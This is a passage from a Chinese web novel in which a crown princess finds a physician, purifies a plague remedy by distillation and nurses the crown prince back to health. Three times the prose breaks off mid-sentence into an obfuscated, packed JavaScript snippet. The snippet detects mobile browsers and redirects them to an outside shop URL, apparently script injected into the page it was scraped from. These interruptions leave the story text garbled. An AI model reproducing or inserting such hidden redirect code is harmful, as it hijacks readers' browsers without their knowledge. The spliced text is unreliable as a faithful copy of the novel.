“时间不等人,我不怕危险,不用担心我,我们这就上去。”林若华拒绝道。 水清辉见林若华态度坚决,又看了看自己的妹妹,他知道林若华说得对,曹州城里的百姓等不起,多等一个时辰,就会多死不少人。 他终于点了点头:“好,那你们务必小心,如果觉得勉强,就停下来,千万不要逞强。” “知道了,大哥。”水玉镜露出一个浅笑。 水清辉举着火把走在前面开路,林若华跟在中间,水玉镜走在最后。 洞穴里的路并不好走,到处都是低垂的藤蔓和凸起的岩石。 走着走着,路渐渐宽敞起来,远处隐约能看见一丝光亮。 洞口果然藏在悬崖下方,被密密麻麻的灌木丛遮掩着,就算从旁边经过,也未必能发现这里。 水清辉停下脚步,回头看向妹妹。 水玉镜会意,走到最前面,双手攀住岩壁,动作灵巧,几下就爬了上去。她在崖边探出头,向下张望。 “太子妃娘娘,你先上,我在下面给你照亮,玉镜在上面接应你。”水清辉转头说道。 悬崖比想象中更难攀爬,碎石不时从脚下滑落,林若华只能死死抓住岩石,岩壁陡峭,能落脚的地方不多,手心磨得生疼,但她咬着牙,一声不吭地继续往上爬。 快到崖边的时候,一只手从上方伸了下来。 是水玉镜。 林若华抓住那只手。 水玉镜的力气很大,一把就将林若华拉了上去。 林若华整个人扑倒在崖边的地上,小口小口地喘着气。 “谢谢。”她缓过劲来,撑着身子坐起来,看向水玉镜。 “不必谢。”水玉镜淡淡道,语气里听不出什么情绪。 水清辉很快就爬了上来,动作利落,嘴里还叼着火把。他上了崖,将火把从嘴里拿出来,走在前面开路。 回去的路比来时轻快了许多。 一路上,水玉镜没有说话。林若华偷偷看了她几眼,月光下那张脸依旧平静如水。不知道是不是因为自己出现得太突然,水玉镜并不像原剧里那样温柔可亲,反倒是有些冷淡,甚至可以说是疏离。 水清辉在山脚下吹响了哨子,哨音划破夜空,没过多久,其余九人陆续从山中赶来。 马贵远远看见山下有三个人影,揉了揉眼睛,还以为自己看错了,上山的是老大和太子妃,怎么下山就多了一个? 等走近了,看到是个陌生的女子时,惊讶得合不拢嘴。 骑马往回赶的时候,马贵看着自家老大嘴角一直挂着笑,更觉得奇怪了,忍了许久,终于策马上前,凑到水清辉身边小声问道:“老大,那个姑娘是谁啊?怎么大晚上的突然就冒出来了?” 水清辉如来时一般,目不斜视地骑着马,笑容却更深了些:“是我妹妹。” “老大的妹妹?”马贵眨眨眼睛,又回头瞥了一眼马车,啧啧称奇,“哇,老大的妹妹长得真漂亮,也跟仙女似的,怎么从来没听老大说起过啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196640|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们都八年未见了。”水清辉的目光落在远处的夜色里,语气里带着几分感叹,“她离家很久……也好。” 马贵挠了挠头,心里犯嘀咕:这话怎么听着怪怪的?离家很久了还也好? 马车里,林若华和水玉镜相对而坐。 车厢摇摇晃晃,水玉镜一直没有说话,只是静静地看着车窗外。 林若华先开了口:“我们在曹州附近找了你很久,也派人进山搜过,一直没找到。没想到你在山洞里。” 水玉镜放下车窗帘,转过头来,看着林若华,不卑不亢地解释:“这大半个月我大部分时间都在洞中,等着血引骷髅开花。那山洞隐蔽,我不曾下过山,也没有遇到过其他人,不知道外面的事。” “血引骷髅……”林若华想了想,说道,“我在医书上看到过。书上说它只在夜间开花,花期只有七日,白日里看着和普通的草没什么两样。花朵、叶子、根茎都有毒,采摘的时候要特别小心。随意触碰的话,不但采摘的人会中毒,也会伤到药性,导致效力大减。” 这医书还是曾经萧长离找来给她解闷用的。 水玉镜有些意外:“你读过医书,认识这味药?” “读过一些。可惜那本书上没有配图,不然我也不会认不出来。” 林若华嘴角一抽,谁能想到,外表长得跟兰花一样的东西,会叫“血引骷髅”这种名字,这个血字是什么意思,又哪里像骷髅了?是因为有毒吗? “这个名字确实吓人。”水玉镜像是猜中林若华在想什么,嘴角微微弯了弯,让她的神情柔和了许多。 “我听说曹州发了洪水,所以才赶过来。”水玉镜继续说,“师父在世时曾说过,血引骷髅是汲取天地间的戾气而生。它能解毒,也能致命,全看如何配药。我想着,既然有洪水,说不定这附近就会有这味药,便进山来找了。” 七步之内必有解药,蛇出没的地方,附近必然有解蛇毒的药草。 这句话用在瘟疫上也是一样,能引起瘟疫的地方,附近往往就生长着能治疗瘟疫的药草。 “我知道水小姐有治疗瘟疫的方子。”林若华看着水玉镜的眼睛,认真地说,“我这里有药物提纯的方法,如果能和你的方子结合起来,提纯后的药效应该会更好。” “药物提纯的方法?”水玉镜的眼睛顿时亮了起来,那一瞬间,她整个人都鲜活了起来,柔声道,“太子妃娘娘请慢慢说。” “是蒸馏提纯,可以用来提取药材中的精华,去除杂质和毒性。”林若华说道。 “蒸馏……”水玉镜若有所思地重复着这个词,“我见过有人用这个法子酿酒,但用在药材上,倒是第一次听说。请问太子妃娘娘是从哪里学来的?” 林若华不动声色道:“从一本古籍上看来的。那本书是我偶然得到的,里面记载了很多稀奇古怪的东西,蒸馏提纯就是其中之一。我试过几次,效果还不错,就是不知道用在治瘟疫的方子上行不行。” “回去就试试。”水玉镜的兴致明显被提了起来,“若是这个法子真的可行,以后很多药材都可以用这个方法来处理。” 两人聊了一路,不知不觉已经回到曹州城。 已是后半夜,估计是凌北打过招呼,水清辉报了身份,把守城门的士兵便放了行,一行人下了马和马车,从侧门入内。 凌北收到消息,早早地等在了府衙门口。 他站在灯笼下,火光映着他的脸,神情看起来平静,但仔细看,能看出他的眼睛里也透着焦急。 林若华出现在他眼前时,裙摆破了,发髻也散了,整个人看起来狼狈不堪,但眼睛却亮亮的。 凌北看到她这副模样,连忙道:“太子妃娘娘,您回来了?您可还好?” “回来了,我没事。”林若华转头看向身后。 水玉镜背着药篓,月光照在她脸上,愈发显得清丽出尘。 “找到了。”林若华回过头,看着凌北,语气满是庆幸,“人和药,都找到了。” 56. 制药 “水玉镜姑娘?”凌北眼睛一亮,声音里透出压抑不住的惊喜。 他自然知晓这个名字,这些时日他奉太子之命四处打探,知道这位女医有着非同寻常的本事。 如今城中瘟疫蔓延,大夫们束手无策,这位水姑娘的出现,无异于久旱逢甘霖。 水玉镜微微颔首,她背着药篓,一身褐色布衣,站在那里不卑不亢。 “请水姑娘随我来。”凌北侧身让路,又转向水清辉等人,“水守备,诸位今夜辛苦,先回去歇息吧。太子妃娘娘也请您先去休息,我已命人备好了房间。” 水清辉的目光落在水玉镜身上,想和妹妹说句话,却见凌大人行色匆匆,只能将到嘴边的话咽了回去,朝水玉镜点点头。 水玉镜会意,轻声说道:“大哥放心。” 之后便跟着凌北往府里走,大门在身后重重关上。 水清辉站在门外,看着那扇紧闭的大门。他还来不及和妹妹多说几句话,心中不免有些遗憾,但转念一想,来日方长,等妹妹忙完正事,总有机会好好叙旧的。 “老大,这到底是咋回事啊?这一大晚上的莫名其妙。老大妹妹还认识太子的人?”马贵边搓着手,边凑了上来,“而且这么晚了,这把守的士兵咋还是这么多啊?” 马贵可不知道太子深夜里还没离开曹州府衙,看着周围这群面无表情,一声不吭的士兵,突然觉得瘆得慌。 水清辉转过身,看着自己这群手下。他们连夜奔波,个个脸上都带着倦色,马贵更是满肚子疑惑写在脸上。 他对着几个还愣在原地的属下摆摆手:“行了,大家先散了吧。” 马贵还想再说什么,嘴刚张开,水清辉又补上一句:“这次任务完成得好,少不了大家的赏赐,都回去歇着,明日还有明日的事。改日我请兄弟们喝酒。” 这话一出,众人的脸色才缓和些,互相招呼着,三三两两散了。 水清辉站在原地,又回头看了眼紧闭的大门,转身没入夜色中。 另一边的林若华不放心。 进门后,门内等候着一位引路的侍女。 她却没有随那名侍女去休息,挥挥手,示意侍女退下,自己跟在凌北和水玉镜身的后面。 凌北走得很快,七拐八拐的,越走越偏。 林若华注意到,他们走的这条路,通往的不是她与萧长离见面的内堂,顿时心中了然。 看来还是不能完全信任水玉镜啊。 这也怪不得凌北谨慎,虽说水玉镜是请来救治疫病的大夫,但毕竟初次相见,身世底细一概不知,萧长离如今状况不明,凌北不可能直接把人往他跟前领。 果然,凌北在一间偏僻的厢房前停下脚步。 房门推开,里面黑漆漆的,没有点灯。 凌北先一步进去,点亮桌上的油灯,照亮了整个房间,屋内只有普普通通的桌椅以及一张床榻,榻上躺着一个人。 那人正呻吟着,声音痛苦不堪,像是被困在梦里醒不过来。 水玉镜快步走近,放下药篓,在床榻边的凳子上坐下,伸手搭上那人的手腕,神情渐渐凝重起来。 林若华也走近床榻,看清了那人的脸,是叶景谦,他竟被移到了这样偏僻的屋子里单独安置。 算算日子,他是最早一批染上瘟疫的人,没想到已经病成这样,整个人面色潮红,嘴唇开始发紫,时不时咳嗽两声,人已经瘦得脱相,哪还有昔日风流公子的模样。 “如何?”凌北见水玉镜面色不好,心里更加焦灼,不自觉握紧拳头。 水玉镜没有立刻回答,她又翻开叶景谦的眼皮查看,这才起身,走到一旁的桌案前。 桌上早备好纸笔,她提笔开始写方子:“情况凶险,所幸还未到药石无灵的地步。” “除去我药篓里的血引骷髅,方子里的其他药草都是寻常的,各地药铺皆有。”她写好方子,拿在手里吹了吹,递给凌北,“尽快备齐,越快越好。” 凌北接过方子,目光飞快地扫过,正要转身,水玉镜的声音再次响起来:“太子妃娘娘所说的蒸馏提纯,现在可能用上?” 水玉镜看向林若华,方才她就注意到,这位太子妃娘娘一直跟在后面,没有出声,也没有离开。 “当然。”林若华迎着她的目光,又转向凌北,“凌北,除了找药草,我之前带回来的那个小木箱,麻烦帮我拿来。” “是!”凌北没有多问,将方子小心收入怀中后,快步出了门。 屋子里安静下来,唯有床榻上叶景谦传来断断续续的呻吟。 “太子妃娘娘应该知道这是何种瘟疫吧。”片刻后,水玉镜开了口。 林若华点了点头,解释道:“是鼠疫,通过老鼠和跳蚤传播。我已经让人在城里灭鼠,防止扩散得更厉害。” “鼠疫?”水玉镜低声重复,眉头微蹙,“通过老鼠和跳蚤传播……” 她喃喃自语,片刻后,抬起头,眉头又舒展开来:“原来如此,我曾见过一山村中鼠类大量死亡,随后便有人发病,不曾想过是鼠类传播。怪不得,怪不得我总是找不到传染的源头。” 她话音刚落,门外传来脚步声。 凌北推门而入,一手拎着小木箱,一手抱着个筐,筐里装着分好的药草,正是水玉镜方才写的那几样。 林若华接过小木箱,打开箱盖,露出里面的东西,很好,李比希冷凝管,蒸馏瓶,收集瓶,一应俱全。 水玉镜的目光一下子被吸引住了,她行医多年,见过的药具不知凡几,却从未见过这样的东西。 “先去厨房。”林若华合上箱盖,“那里方便提纯。” 凌北提起药筐在前面引路,三个人一路来到东侧的小厨房。 他将药筐放在一旁,蹲下生火,往灶膛里添了几根柴,火苗一下子便噌地蹿起来。 凌北烧好火,又帮着把药草洗净、切碎,按照水玉镜的指点,分批放入陶罐中熬煮,药香渐渐弥漫开来。 林若华将小木箱放在案板上,打开取出那些玻璃器皿,开始一一组装起来。 她的动作很熟练,水玉镜站在一旁,看得目不转睛,终于还是没忍住,问道:“这是什么?” “蒸馏用的。”林若华头也不抬,“把水分蒸发掉,就能得到纯度更高的药液,比直接煮出来的汤药见效更快。” 水玉镜若有所思地点了点头,没有再追问,只是静静看着林若华的动作,眼神里多了一些别的东西。 一个时辰后,第一杯药制成了。 “第一份药,先给叶公子吧。”凌北看着杯中淡棕色的药水说道。 这话说得委婉,但意思大家都明白,叶景谦是第一批病患,病情最重,也最危险。若是这药能把他救回来,就证明这方子确实有效,若是救不回来……凌北没敢往下想。 林若华想着,叶景谦成小白鼠了。 不过她并没有反对,对于自己和水玉镜的医术,她还是放心的。 林若华端着烧杯,三人穿过回廊,又回到那间偏院。 屋子里,叶景谦的呻吟声好像比方才更弱了。 林若华将烧杯放在桌案上,凌北拿出从小厨房中找到的小酒杯,一人十毫升的量,药碗大了,用酒杯刚好。她用胶头滴管从烧杯吸出药液,又挤进酒杯中。 “我来吧。”水玉镜接过酒杯,走到床榻边,扶起叶景谦,让他靠在自己肩上,“来,公子,喝药了。” 叶景谦没有反应,水玉镜把酒杯凑到他唇边,一点一点地喂进去。 此时林若华才觉得浑身酸软,一夜未眠的疲惫全都涌了上来。 她压低声音问一旁的凌北:“你陪我们一起,合适吗?” 其实她真正想问的是,凌北不应该寸步不离守在萧长离身边吗?陪着她和水玉镜忙这一个多时辰,这合适吗? 凌北沉默了一瞬,轻轻叹了口气:“无事,有人在。” 林若华的心沉了沉,萧长离的情况怕是也不太好,有暗卫守着,凌北才能抽身来这边盯着最关键的药,他不敢假手于人。 一杯药喂完,水玉镜轻轻将他放回枕上,替他盖好棉被。 三个人都没有说话,只是静静地守在床边,盯着叶景谦。 叶景谦的呼吸果真渐渐平稳下来,紧皱的眉头也松开了。 不久,天亮了。 透进窗棂的光恰好洒在水玉镜脸上,她眨了眨眼,忽然看见叶景谦的眼皮一动,然后慢慢睁开。 叶景谦的目光有些涣散,好一会儿才看见床边的身影。 清冷出尘的女子整个人笼罩在光里,令人分不清是梦境还是现实。 “你、你是、仙子吗……”他的声音沙哑着说道。 水玉镜一愣,随即唇角微微弯起,有些无奈,又觉得这话好笑。 她俯身查看叶景谦的面色,又探了探他的脉,直起身来:“想来你是无事了。脉象已趋平稳,烧也退了,好生将养几日,就能完全康复。” 凌北站在一旁,脸上难掩激动。 他看向林若华,重重地点了点头,林若华回了他一个眼神,两人悄然退出房间。 一路来到内堂,门口守着两个侍卫,见他们走来,自觉让开。 推门进去,屋里还亮着灯,昨日的老大夫还在。 他坐在桌边,神情疲惫,见林若华与凌北进来,站起身想要行礼,被林若华阻止。 萧长离躺在那里昏迷不醒,情况比她离开时更加糟糕。 林若华赶紧走到床榻边,喂萧长离喝下药。 可萧长离没有醒。 林若华又用温度计量体温,高烧已退下,但萧长离就是没有醒,闭着眼依旧睡得很沉。 就在林若华焦急万分时,外面忽然传来一阵喧哗,随后门被推开。 “哎呀,这不是太子妃娘娘吗?您没事啊?殿下,您——” 凌北眼疾手快,一个箭步冲过去,一把捂住了来人的嘴。 任来凤被他捂着嘴,眼睛瞪得溜圆,咿咿呜呜地挣扎起来。 “现在不是你演的时候。”林若华站起身,走到任来凤面前,低声道,“殿下被传染了,我已经喂过药,很快就会没事。我们现在带上药剂去给百姓们分发。” 她说完,又转向凌北,叮嘱道:“你照顾好殿下。” 凌北松开任来凤,眉头皱起:“娘娘,您整夜没有休息。” “我没事。”林若华又看向任来凤,“走吧,任大人。” 任来凤顿时收敛了表情,整了整被弄乱的衣襟,目光扫过榻上的萧长离,面色瞬间变得严肃。 他朝林若华郑重地行了一礼,沉声道:“是。” 两人刚出大门,还没走几步,身后传来脚步声。 水玉镜追了上来,背上还背着那个药篓。 她走得有些急,轻轻喘着气:“提纯果然有效,那个人比预想中要好得快太多,还有精神扯着我问东问西,问什么姑娘芳名几何,家住何方,说什么姑娘救命之恩,在下没齿难忘,等他好了要登门道谢,烦人得很。” “那水小姐是否愿意与我们一起去给百姓们施药。”林若华询问。 毕竟在原剧情里,水玉镜选择守在病重的萧玄鹤身旁。 “自然。”水玉镜果断答道。 三人带着一队人马,往隔离区赶去。 隔离区设在城中一处寺庙里。 寺庙不大,平日里没什么香火,洪水时唯一的老和尚也被冲走了,如今庙内到处躺着人,各种呻吟声不断。 他们赶到的时候,正撞见蒙着白布的士兵抬着一具裹着草席的尸体往外走。 后头,几个披头散发的妇人和孩子跌跌撞撞地追出来,哭喊着想要扑上去,却被守在门口的士兵死死拦住。 一个老妇跪在门口,双手扒着地面,指甲都抠出了血:“我的儿啊,我的儿!” 声音撕心裂肺,林若华心中一酸,把手中的烧杯递给水玉镜,快步走上前去,将老妇扶起。 她来不及安慰老妇,将老妇送还给身旁的亲人,冲着四周高声道:“各位乡亲,我们已经带来了专门治瘟疫的药。大家排好队,一个一个来,每个人都有。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231816|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>士兵们抬来桌案,摆上酒杯,林若华走到桌案后,水玉镜放下烧杯,一人滴药,一人端杯,开始逐一分发。 有的人还能自己走过来,接过酒杯一饮而尽。有的人已经走不了了,瘫在角落里,奄奄一息。林若华让士兵们过去,把药喂进他们嘴里。 太阳渐渐升高,一杯杯药分发出去,道谢声在林若华耳边不断。 待庙中人差不多都喝上药,她才终于松口气,最后端着一杯药走向墙角。 那里还孤零零地蜷缩着一个人,穿着洗得发白的青衫,缩成一团靠着墙上,从衣着打扮看应该是个读书人。 林若华蹲下身,把杯子递过去:“来,喝药了,喝了就会好。” 这人闻言,抖抖索索地抬起头,看起来三十来岁的样子,眉目端正,有些清瘦,面容称得上俊朗,只是此刻因病痛眼神有些恍惚,一看就知道病得不轻。 他颤颤巍巍接过药,低头一口喝完,把杯子递还给林若华,想要拱手行礼,被林若华伸手拦住。 “不必多礼。你好好歇着,养好身体要紧。” 见周围的人都已经分到药,林若华没有再走,就在那人旁边的地上坐了下来,靠着墙,闭上眼睛休息。 冬日的太阳晒在身上暖洋洋的,直让人犯困。 那人缓过气来,看着她犹豫了一下,还是开口道:“多谢小姐相救。在下张有名,敢问小姐尊姓大名?他日若有机会,一定报答。” 林若华睁开眼睛,打量着眼前的书生,都病成这样了,衣服虽旧却不脏,是个讲究人啊。 等下,张有名?这名字有些耳熟。 她想了想,忽然记起来:“张有名?就是写《有名地理志》的那个张有名?” 那书生眼睛一亮:“小姐也看过在下写的书?” 随即他又有些不好意思地笑笑:“说来惭愧,在下虽然名叫有名,可惜一辈子都没有什么名气,屡试不中,混不出头来,唯有在地理方面还有些建树,天南地北到处跑,把自己看见的山川景色记下来。” 他说着,语气里带着几分劫后余生的感慨,也带着几分自嘲:“这些年来我遇到过许多危险,无论是山匪还是瘴气,猛兽还是迷路,好几次,都以为要交代在外头,真没想到,这次我又得救了。” 林若华听着,安慰道:“你写得很有意思,山川地理,风土人情,都写得活灵活现。不是每个人都适合科举,做自己擅长的事也挺好,一样能成就一番事业。” 张有名轻叹:“小姐说得是,只是……” “哎呀!太子妃娘娘!”一声惊呼打断了他的话。 “您怎可席地而坐?如此不顾礼仪,成何体统?这、这、这传出去还了得?” 任来凤不知什么时候冒了出来,见林若华坐在地上,还和一个陌生男人说话,差点一口气没上来。 林若华被他吵得头疼:“任大人,你没事就去和其他人一起砌城墙,我来时看见城墙还没修好呢。” “太子妃娘娘!”任来凤气得直跳脚,又不敢真去拉她,只能在原地吹胡子瞪眼,嘴里嘟囔着什么有辱斯文,什么成何体统。 林若华不理他,张有名却愣在那里,直直地看着林若华。 “太子妃娘娘?”张有名的眼睛更亮,随即又想到什么,瞬间黯淡下去。 林若华这才转过头,恰巧错过张有名眼中的异样,说道:“你刚才问我的姓名,我告诉你,我名叫林若华。你若是想报答我,就多写点我喜欢的地理志吧。” “林若华……”张有名喃喃重复,“太子妃娘娘唤作林若华啊。” “你这书生!”任来凤又跳起来了,“怎可直呼太子妃的姓名?你这太无礼了!” “任大人,你可真精神。”林若华叹道,“怪不得没有感染瘟疫呢。” 任来凤涨红了脸,想反驳又不知从何说起,只得狠狠地瞪了张有名一眼。 张有名眼见被人误会,连忙解释:“不是不是,在下不是有意冒犯。只是以前救过我的一户人家,我曾帮他们的外孙女取过大名,也叫林若华。在下觉得很是巧合,所以才……” 林若华挑眉,好奇道:“哦?那倒是巧了。不知道这又是什么故事?” 张有名见林若华想听,也就将他的经历缓缓道来。 “那是十年前的事,我当时盘缠耗尽,又感染风寒,最终体力不支,晕倒在一户富商门口。主人家没有嫌弃我,还把我接进去,给我请大夫,给我熬药,我在那里住了些时日。那家老爷是个和善的人,说他和夫人只有一女,女儿出嫁后生了个外孙女,长年体弱多病,所以他们夫妻俩经常行善,想要为外孙女积些福报。” 他顿了顿,又说:“当时,夫妻俩的外孙女,那个小姑娘都已五岁多,却一直没有大名,就唤作妞妞。听说是请相士看过,说这孩子八字硬,要等过了六岁才能正式取名。我住在那里的日子里,常常见到那个小姑娘,瘦瘦小小的,脸色有些苍白,但眼睛很亮,喜欢躲在屏风后面偷偷看我写字。老爷说,这孩子聪明着呢,可惜身子不好。” 张有名感觉昔日场景又浮现在眼前,微微一笑:“中元节那日,老爷和夫人说起想要请人给外孙女取名的事,我便毛遂自荐,翻遍书籍最后取了‘若华’二字。‘若华拂流影,不使白日匿’,这句诗说的是若木之花不让太阳隐去。我想着,这孩子虽然体弱,但眼神明亮,将来必定是个有福之人。老爷和夫人听后,连声说好,还给了我十两银子做谢礼。” 说到这里,他叹了口气:“可惜,我不久前路过想要上门拜访,却发现那户人家的大门已经破败,门上贴着封条,院子里长满了荒草。我打听邻居才知道,那家人前些年外出,不幸遇上山匪,全家都遭了难,哎。” 最后张有名摇摇头,神情很是难过:“真是好人不长命啊。” 林若华的眉头渐渐皱了起来:“那户人家住在哪里?” “哦,他们住在归德府的上水镇。”张有名回答。 林若华不由得微微瞪大眼睛。 归德府,上水镇。 这还真是巧了。 57. 笑意 那个人走得很快,他想喊却发不出丝毫声音,只能拼尽全力去追赶。 平坦的地面突然似一个个弹簧,开始不停地跳跃起来,他每一步都走得踉踉跄跄,最终还是失去平衡,整个人跌入海中。 海水很冷,身体很沉,快要呼吸不过来。 他在疯狂呐喊,可嘴里早已灌满海水。 他拼命伸长双手,最终只是徒劳挣扎。 他瞪大双眼,透过摇晃的海面,望着岸上的人渐行渐远。 每次都是这样,每次都是这样! 那个人从来不会回头,而他只能独自坠入深渊。四周渐渐被黑暗吞噬,那人的身影也越来越小,小到快要看不见。 等等,等等他! “等等,别走!” 萧长离猛地睁开眼睛,大口大口地喘气,冷汗打湿了衣衫,真如同刚从海底挣扎出来一般。 “你醒啦?” 熟悉的声音在耳畔响起,满是惊喜与关切。 林若华弯起腰看他,右手拿着帕子,轻轻擦拭他脸上的汗。 萧长离怔怔地看着忽然出现在眼前的这张脸。这眼神温柔且带着笑意的脸离他那么近。 海水还在耳边不断翻涌,冰冷的液体仍残存于五脏六腑,他一时间竟分不清楚到底哪个是梦境,哪个是现实。 他只能本能地伸出手,一把抓住林若华,死死不放。 林若华被攥得生疼,面上却未显露出半分,反而扬起一个更大的笑容,安慰道:“好了,好了,没事了啊,你已经醒过来了。” 萧长离没有应声,依旧平躺在榻上,半眯着一双丹凤眼,眸中深不见底,让人看不透里面究竟藏着何物,他就这样面无表情地盯住林若华。 “这可不像你啊。”林若华眉眼弯弯,语气里多了几分调侃,“我认识的前辈坚强多了,可不会做个噩梦就吓成这样。” 萧长离听到“前辈”两个字,眉眼微微动了一下。 不断下落的失重感瞬间消失,耳边的海水声渐渐褪去,他从幽暗的海底漂浮起来,阳光照耀在脸上,暖洋洋的。 “你……你怎么……”萧长离才发现自己的喉咙嘶哑得厉害,吐出的每个字都像是火烧的。 “我说过,我会回来的,我可不骗你。”林若华左手慢慢拉下萧长离的手,轻轻放在被子上,随后又替他牵了牵被子,“我给你倒点水。” 她转身去桌边倒水,萧长离的目光一直追着她,看她拎起茶壶,看她端着茶杯走回来,看她坐到榻边。 林若华扶起萧长离,把茶杯送到他唇边。 萧长离喝得极慢,一面喝一面看她。 喝完水,林若华问道:“还要吗?” 萧长离摇摇头,又躺了回去。林若华把茶杯放回桌上,又回来坐到榻边的凳子。 此时房间里就他们两人。 林若华开始自顾自地说起这几天发生的事。 “这是你昏迷的第三天,叶景谦昨天一早就醒了,他表面上吓人,其实病情没你重。你要是再不醒,情况就真的危险了。你是太子,盯着的人多。你一直不出现,一天来试探的都有五六拨。” “全靠我、凌北还有任来凤替你挡着。你是没看到任来凤那架势,来一个骂一个,来两个骂一双,还好凌北拦着,不然早打起来了。”说到此处,林若华变得眉飞色舞。 “我找到水玉镜了。你绝对猜不到她在哪儿,就在城外小山的山洞里,她在那里待了大半个月。难怪你派出去的人都找不到她。那个山洞非常隐蔽,要不是我运气好,还真发现不了。”这语气中还带着点小得意。 随后林若华又叹了口气:“这几天我都没好好休息过,整天提心吊胆,又熬夜又焦虑。屠主任说得真对,干我们这行最忌讳的就是干我们这行。” 她说着说着,自己先笑了起来:“对了,屠主任就是我实习时候的带队医生,也是我们学长。听说当年是校草来着,不过现在已经是个头发稀疏的大叔了,还经常自嘲说,终于变成了让患者放心的模样。” “水玉镜的药方经过我提纯以后效果出乎意料的好。女神医和全城人民认证的我医术高强,你不许再提执业医师资格证的事。”说到这个,林若华脸颊都气得鼓了起来。 可萧长离迟迟没有出声,只是一味地盯着她,眼睛眨也不眨。 林若华开始有些不自在,笑容慢慢淡了下去,站起身说:“差点忘了,你刚醒,肯定很饿,我让人给你拿点吃的。” 说着就要往外走。 “我没事。”见她要离开,萧长离终于开口:“不饿,你别去。” “怎么会不饿呢?光靠灌进去的那点稀粥……” 林若华话没说完,就被一阵敲门声打断。 “进来。”林若华喊道。 一双手推门而入,进来的是水玉镜。 她脸上同样带有疲倦之色,见萧长离醒来,不疾不徐走近榻边:“太子殿下醒了?可否让民女替殿下诊脉?” 林若华在旁边解释:“你当时没醒,我一个人不敢大意,就请水小姐一起来会诊。我们没告诉她你的身份,不过她猜到了。” 萧长离看了水玉镜一眼,什么也没说,伸出手让她把脉。 水玉镜的手指搭在他腕上,沉思一阵后说道:“太子殿下已无大碍,只是身体虚弱,还需静养几日。” 水玉镜收回手,神色平淡:“如若无事,民女先告退了。” “麻烦水小姐出去时,帮我叫一下凌北他们,就说殿下醒了。”林若华说。 “好。”水玉镜应了一声,转身离开。 门重新关上后,林若华凑近萧长离,低声说:“你觉不觉得,水玉镜跟剧里的不太一样?剧里她温柔体贴,善解人意,现在这个,虽然也说不上多冷漠,但总感觉淡淡的,刚才面对你这个太子也是,她对萧玄鹤可不是这样。” 萧长离努力扯了扯嘴角:“大概是因为我并非萧玄鹤吧,没有令人一见钟情的魅力。” “这个时候还说笑?”林若华忍不住弯弯嘴角,随即又感叹道,“不过说起萧玄鹤,你这回可比他惨多了。剧里他可没有病得这么重,这大概就是所谓的主角光环吧。” “主角光环是吗?”萧长离的声音忽地冷下来,脸色不善道,“等我回京就找萧玄鹤麻烦。” 林若华仔细端详起他的表情,认真点评:“你现在这个样子,活像个大反派。” “我本来就是大反派。”萧长离低下头,忽然呵呵一笑。 林若华一愣,不知道萧长离为何突然生气。 正疑惑间,萧长离蓦然抬起头,脸上的冷意早已不见踪迹,取而代之的是一贯的、令林若华所熟悉的温柔笑意:“我之前病糊涂了,还做了奇怪的梦,说了些不该说的话,你不要在意。” 话音未落,敲门声再次响起。 这次进来的人是凌北,手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260658|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端着托盘,他身后还有苏南。 凌北见萧长离醒着,露出喜色:“属下听水姑娘说殿下醒了,就让人准备好吃食,这是厨房刚熬的粥。” “放那里吧。”萧长离淡淡道。 “苏南昨天下午就回来了。我让她去办了一件事。”林若华对萧长离说,又转头问苏南,“查得怎么样了?苏南。” 苏南从怀中取出信件:“那个叫张有名的书生说的是实话。邻居证实张有名十年前确实在小姐的外祖家借住过一段时间,约莫一个月,小姐的外祖父曾向邻居提过,张书生取了小姐的大名。另外,还查到一些别的事。” 林若华接过信件,打开一看,眉头先是皱起,又渐渐舒展开来,最后轻轻叹了口气:“原来是这样啊。” 她把信递给萧长离:“昨天我见到一个叫张有名的书生,就是你送我的那本《有名地理志》的作者。十年前,我外祖父母救过他。‘若华’这个名字还是他取的。我看他有些才华,本想留他下来,他拒绝了,说等曹州城解封就离开,他已经想好下一个要去的地方,准备再写一本书。” 林若华又对苏南和凌北说:“你们也辛苦了,先下去休息吧。这里有我在。” 凌北刚张嘴,他本想说太子妃娘娘也辛苦了,不如让他留下来照顾殿下,让娘娘去休息。可话还没出口,就被苏南一把拽住。 苏南瞪了他一眼,这人还是这般没眼色。 然后她不由分说地把凌北往外拖,临走前还不忘把门带上。 房间里又只剩下林若华和萧长离两人。 林若华继续说:“大名是张书生取的,那就和羲和太子无关了。吴平在这件事上果然是在撒谎,剩下的内容也很可疑,事情真是越来越复杂了。” 她说完,等着萧长离的反应,可萧长离还是没有说话,也不知在想些什么。 “我浑身没力气,你能喂我吃吗?”片刻后,萧长离轻笑,慵懒且随意。 林若华:“?” 她眨眨眼,然后忍不住笑出声来:“好吧。萧小朋友,林园长亲自喂你吃饭。” 